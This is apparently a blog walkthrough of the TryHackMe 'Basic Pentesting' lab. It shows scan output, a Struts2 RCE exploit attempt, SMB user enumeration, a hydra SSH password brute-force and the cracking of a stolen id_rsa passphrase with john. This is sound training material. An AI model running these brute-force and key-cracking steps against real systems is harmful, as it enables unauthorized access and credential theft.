This room on TryHackMe is focused on enumeration and exploitation at a very basic level in a beginner-friendly manner. The way all the questions are queued and the hints that are provided alongside help a lot to develop a basic mindset while performing pentesting.
For solving this room, we are going to use different tools like nmap, dirb and hydra. So, let’s begin!
- Deploy the machine and connect to our network.
The first step is to deploy the machine and obtain the IP address for the room on which we can perform our pentesting tasks. Once the machine is deployed we can go to IP address and check what is hosted over there.
From the image, it can be seen that there is not much information available at the homepage but in the source-code, we can see that they are talking about the
dev note section. We can run
dirb to find out about various directories and pages hosted on this domain.
2. Find the services exposed by the machine
Nmap is a very useful tool that can be used to determine the various ports open on the target machine and the services running on them. We can perform a simple scan to get all the details like:
tester@kali:~$ nmap -A -p- -T4 10.10.56.30
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-26 16:09 IST
Warning: 10.10.56.30 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.56.30
Host is up (0.14s latency).
Not shown: 65499 closed ports, 30 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| 2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA)
| 256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA)
|_ 256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ Supported methods: GET HEAD POST OPTIONS
8080/tcp open http Apache Tomcat 9.0.7
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.7
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 1h19m59s, deviation: 2h18m33s, median: 0s
|_nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: basic2
| NetBIOS computer name: BASIC2\x00
| Domain name: \x00
| FQDN: basic2
|_ System time: 2020-07-26T06:57:44-04:00
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_ Message signing enabled but not required
| date: 2020-07-26T10:57:44
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1127.51 seconds
Now, we know all the services that are running on the target machine. Hence, this question is completed.
3. What is the name of the hidden directory on the webserver(enter name without /)?
As suggested in the first question we can run a
dirb scan to find out all the directories on the webserver.
tester@kali:~$ dirb http://10.10.56.30
By The Dark Raver
START_TIME: Sun Jul 26 16:12:15 2020
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.56.30/ ----
==> DIRECTORY: http://10.10.56.30/development/
+ http://10.10.56.30/index.html (CODE:200|SIZE:158)
+ http://10.10.56.30/server-status (CODE:403|SIZE:299)
---- Entering directory: http://10.10.56.30/development/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
END_TIME: Sun Jul 26 16:24:55 2020
DOWNLOADED: 4612 - FOUND: 2
dirb results we can see that there is exactly one hidden directory and that is the answer to this question.
4. User brute-forcing to find the username & password
I found this part to be a little tricky as no login page was found, so where would I try to perform a brute-force attack. There were a few failed attempts that I’ve described below:
While exploring the hidden directory we come to know that Apache Struts 2.5.12 is running on the box. So, we can try to find some exploit for that service. After some googling, we can find an RCE script for this service on exploit-db and then we can also try to run it.
tester@kali:~/Downloads$ chmod +x 42627.py
tester@kali:~/Downloads$ python3 42627.py
CVE: 2017-9805 - Apache Struts2 Rest Plugin Xstream RCE
[*] Warflop - http://securityattack.com.br
[*] Greatz: Pimps & G4mbl3r
[*] Use: python struts2.py URL COMMAND
[*] Example: python struts2.py http://sitevulnerable.com/struts2-rest-showcase/orders/3 id
tester@kali:~/Downloads$ python3 42627.py http://10.10.56.30 whoami
<h4>Please check back later</h4>
<!-- Check our dev note section if you need to know what to work on. -->
Maybe the way we are executing this script is wrong or the entry-point at which this script must be executed is not correct.
- We can also look for exploits related to Apache Tomcat 9.0.7 running on port 8080. But there are no such ready-to-use exploits available for this service.
- We can also see that Samba 4.3.11 is running on port 445. So, maybe we can look for some exploit related to that. On googling, some exploits related to this service we can find is_known_pipename exploit on rapid7 which can be accessed using metasploit. But even after trying various target types, a successful exploit can’t be performed.
- The next thing that can to our mind is that as SMB port is open we can try some enumeration over SMB. This can be achieved through
enum4linuxwhich is a tool for detecting and extracting data from Windows and Linux OS, including those that are SMB clients on a network. Following details can be achieved through enum4linux:
Password policies on target
The OS of a remote target
Shares on a device (drives and folders)
- We can run the command
enum4linux <machien_ip>to find the users present on the target box. This command would take some time to complete so we need to be patient as the usernames are detected at the end of the search. The output would be similar to:
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\*** (Local User)
S-1-22-1-1001 Unix User\*** (Local User)
For this task, we do not need to answer any question but at least we know the names of the two users on the box.
5. What is the username?
In the previous question, we discovered that two users are present on the box. We can try entering the name of both the users one by one in the answer box for this question and the correct one would get accepted.
6. What is the password?
Hydra is one such tool that can be used to bruteforce passwords over numerous protocols. We can use the same here and bruteforce the password for the user that was accepted in the last question. The command and output for the same are given below:
tester@kali:~$ hydra -l <username> -P /usr/share/wordlists/rockyou.txt -ens -f 10.10.210.4 ssh -t 4
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-07-26 19:28:48
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344401 login tries (l:1/p:14344401), ~3586101 tries per task
[DATA] attacking ssh://10.10.210.4:22/
[STATUS] 44.00 tries/min, 44 tries in 00:01h, 14344357 to do in 5433:29h, 4 active
[STATUS] 28.33 tries/min, 85 tries in 00:03h, 14344316 to do in 8437:50h, 4 active
[STATUS] 29.14 tries/min, 204 tries in 00:07h, 14344197 to do in 8203:23h, 4 active
[STATUS] 28.20 tries/min, 423 tries in 00:15h, 14343978 to do in 8477:32h, 4 active
[ssh] host: 10.10.210.4 login: <username> password: xxxxxxx
[STATUS] attack finished for 10.10.210.4 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-07-26 19:57:02
The switches used here with hydra are:
So, now we have the password for the account. This is used as the answer to this question.
7. What service do you use to access the server(answer in abbreviation in all caps)?
We have used hydra to get the password for this service in the last question itself.
8. Enumerate the machine to find any vectors for privilege escalation
Now that we have the credentials to gain the SSH access, we can login to that account using the obtained username and password.
Once, logged in we can look for files in the current directory as well as look for other users, their files and if we have access to them or not. We can also run the command
sudo -l, to check if we can run some commands with root privilege but sadly we are not allowed to run any command with sudo privilege.
On further enumeration, we can see that there is another user as well that was detected by
enum4linux as well. We can also look into the directory of that user and see if we can find some files. There is one odd file named
pass.bak to which we don't have access. But we can access the
id_rsa key in
.ssh directory. With this SSH key, we can try to gain access to the other user using SSH and try to read the file.
So, we have found a vector for privilege escalation here!
9. What is the name of the other user you found(all lower case)?
In the previous question itself, we found out the user and the method through which we can escalate ourselves to the user’s account.
10. If you have found another user, what can you do with this information?
We have the user and their SSH key. So, we can try to access the user’s account via SSH but for that, we’ll need the passphrase for SSH access.
Steps to get the passphrase from
- We can copy the entire key in a file on our local system. (I’ve stored it in a file named
- Convert is to a format that
JohnTheRippercan understand using the command:
/usr/share/john/ssh2john.py ssh_key > key_for_john
- Pass on the newly created
key_for_johnto john and get the key.
tester@kali:~/Downloads$ john --wordlist=/usr/share/wordlists/rockyou.txt key_for_john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:04 DONE (2020-07-26 20:37) 0.2232g/s 3201Kp/s 3201Kc/s 3201KC/sa6_123..*7¡Vamos!
4. Boom, we now have the passphrase for the key as well.
5. Change the permissions of the file
chmod 600 ssh_key else it won't get accepted by SSH.
6. We can access the account of the other user using SSH now but using the
ssh_key and obtained passphrase. The command that can be used is:
ssh -i ssh_key username@<machine_ip>. (-i is used to pass the RSA key)
7. What is the final password you obtain?
Now, we have access to the box as the other user. We can now read the file
pass.bak and get the answer to the final question.
With this, we have solved the
Basic Pentesting room!
Some Key Points to Take Away
- When you see an open SMB port, try to use
enum4linuxto get various details related to the target.
Hydracan be used for performing bruteforce attacks for various services.